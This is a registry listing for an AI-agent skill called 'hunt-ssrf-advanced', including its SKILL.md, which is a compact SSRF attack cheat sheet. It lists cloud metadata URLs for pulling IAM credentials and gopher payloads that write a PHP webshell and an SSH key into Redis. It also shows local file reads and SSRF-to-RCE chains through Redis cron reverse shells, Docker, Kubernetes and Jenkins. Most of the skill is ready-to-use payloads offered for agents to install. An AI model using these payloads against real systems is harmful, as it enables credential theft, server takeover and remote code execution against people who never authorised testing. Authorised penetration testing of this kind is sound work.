dragonked2/alphacode/hunt-ssrf-advanced

Claude Code and agent skill by dragonked2/alphacode

Trust tier 2
  • community
LLM review pending
Source check pending

Checking that the SKILL.md file is still in the repository.

Advanced SSRF — cloud metadata, DNS rebinding, protocol smuggling (gopher/dict/file), URL parser differentials, SSRF-to-RCE chains.

Install

npx vskill@latest install dragonked2/alphacode/hunt-ssrf-advanced

SKILL.md

ADVANCED SSRF — 3 BULLETS MAX

Core: SSRF chains from Low to Critical: DNS callback → internal → cloud creds → RCE.

CLOUD METADATA

AWS IMDSv1: http://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv2: PUT token first, then use in header
GCP: http://metadata.google.internal/computeMetadata/v1/ (Header: Metadata-Flavor: Google)
Azure: http://169.254.169.254/metadata/instance (Header: Metadata: true)

PROTOCOL SMUGGLING

gopher://127.0.0.1:6379/_SET%20shell%20%3C?php%20system($_GET['cmd'])?%3E (Redis write webshell)
gopher://127.0.0.1:6379/_SET%20sshkey%20\nssh-rsa AAAA... (Redis write SSH key)
dict://127.0.0.1:6379/INFO (Redis info)
file:///etc/passwd (local file read)

SSRF→RCE CHAINS

SSRF → Redis (gopher) → write cron → reverse shell → RCE
SSRF → Docker API → privileged container → host escape
SSRF → K8s API → deploy malicious pod → RCE
SSRF → Jenkins script console → RCE
SSRF → FastCGI → PHP code execution
SSRF → Prometheus → target discovery → further exploitation

BLIND DETECTION

OOB: curl https://target.com/fetch?url=http://UNIQUE.xxxx.oast.fun
Timing: compare response times for open vs closed ports
DNS: check DNS logs for query from target IP

Security

  • Security scanPassed, 100 of 100Pattern checks on the skill's files.
  • Model reviewNot runA model review is scheduled for the next rescan.

See the full security report

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

Popularity

7-day trend score
5

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/dragonked2/alphacode/hunt-ssrf-advanced/badge)](https://verified-skill.com/skills/dragonked2/alphacode/hunt-ssrf-advanced)

Something wrong with this skill or its page? Tell us.